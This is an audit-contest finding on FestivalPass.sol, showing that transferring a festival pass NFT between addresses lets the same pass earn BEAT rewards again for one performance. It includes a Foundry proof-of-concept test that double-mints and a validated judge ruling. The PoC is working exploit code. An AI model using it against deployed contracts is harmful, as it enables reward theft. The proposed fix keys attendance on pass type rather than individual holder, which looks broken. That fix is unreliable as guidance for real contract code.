Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

FestivalPass.sol - Infinite BEAT Token Minting via NFT Transfer Attack

Description

The attendPerformance function tracks attendance using only the caller's address (msg.sender) rather than tracking which specific NFT was used to attend each performance. This design flaw allows users to mint unlimited BEAT tokens by transferring their pass NFT to different addresses and having each address attend the same performance, effectively allowing one NFT to generate infinite rewards.

Root Cause

The vulnerability occurs because of how the attendPerformance function tracks who has attended each performance:

// Line 115: Only tracks msg.sender, not which NFT was used
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
// Line 121: Records attendance by address, not by NFT
hasAttended[performanceId][msg.sender] = true;

Key issues:

  1. hasAttended mapping only considers the caller's address

  2. No tracking of which specific NFT (token ID) was used for attendance

  3. NFT transfers reset attendance eligibility since new addresses haven't "attended"

Risk

Likelihood: High - The exploit is straightforward and can be automated. Any user with a pass can immediately start the attack.

Impact: Critical - Infinite BEAT token minting breaks the entire tokenomics system, devalues rewards, and can drain any connected systems expecting finite token supply.

Impact

High severity because:

  • Attackers can mint unlimited BEAT tokens with a single festival pass

  • Breaks the entire reward economy and tokenomics design

  • Renders the performance attendance system meaningless

  • Can be executed repeatedly across multiple performances for massive gains

  • Affects the value of BEAT tokens for legitimate users

  • Could drain connected systems if BEAT has utility or exchange value

Proof of Concept

This test demonstrates how a single NFT can be used to claim infinite BEAT tokens by transferring between addresses:

function test_InfiniteBeatTokenMintingViaTransfer() public {
// User1 buys a general pass (1x multiplier)
vm.deal(user1, 1 ether);
vm.prank(user1);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
// Organizer creates a performance with 100 BEAT reward
uint256 baseTime = block.timestamp + 1 hours;
vm.prank(organizer);
uint256 performanceId = festivalPass.createPerformance(baseTime, 2 hours, 100e18);
// Performance starts - user1 attends and earns 100 BEAT (1x multiplier)
vm.warp(baseTime + 30 minutes);
vm.prank(user1);
festivalPass.attendPerformance(performanceId);
// Verify user1 earned BEAT tokens
assertEq(beatToken.balanceOf(user1), 100e18);
// User1 transfers their pass to user2
vm.prank(user1);
festivalPass.safeTransferFrom(user1, user2, 1, 1, "");
// Verify transfer worked
assertEq(festivalPass.balanceOf(user1, 1), 0);
assertEq(festivalPass.balanceOf(user2, 1), 1);
// User2 can now attend the same performance with the transferred pass
// because hasAttended only tracks msg.sender, not the NFT used
vm.prank(user2);
festivalPass.attendPerformance(performanceId);
// User2 also earned 100 BEAT tokens for the same performance!
assertEq(beatToken.balanceOf(user2), 100e18);
// Total BEAT minted: 200e18 for a single performance that should only pay 100e18
assertEq(beatToken.balanceOf(user1) + beatToken.balanceOf(user2), 200e18);
// This demonstrates the core vulnerability: multiple addresses can claim
// rewards for the same performance using the same transferred NFT
}

Recommended Mitigation

Option 1: Add a pass selection parameter to allow users to choose which pass to use:

// Add new mapping to track which NFTs have attended each performance
+ mapping(uint256 => mapping(uint256 => bool)) public nftHasAttended; // performanceId => passId => hasAttended
- function attendPerformance(uint256 performanceId) external {
+ function attendPerformance(uint256 performanceId, uint256 passId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
+ require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
+ require(balanceOf(msg.sender, passId) > 0, "Must own the specified pass");
+ require(!nftHasAttended[performanceId][passId], "This pass has already attended this performance");
- require(hasPass(msg.sender), "Must own a pass");
- require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
- hasAttended[performanceId][msg.sender] = true;
+ nftHasAttended[performanceId][passId] = true;
lastCheckIn[msg.sender] = block.timestamp;
+ // Calculate multiplier based on the specific pass being used
+ uint256 multiplier = (passId == BACKSTAGE_PASS) ? 3 : (passId == VIP_PASS) ? 2 : 1;
- uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

This approach:

  • Allows users to specify which pass they want to use for each performance

  • Enables users with multiple passes to attend multiple times (once per pass type)

  • Prevents the same pass from being used multiple times via transfers

  • Maintains the intended multiplier system

Option 2: Track attendance by actual NFT token instances if using unique token IDs for each pass, or prevent pass transfers during active performances.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.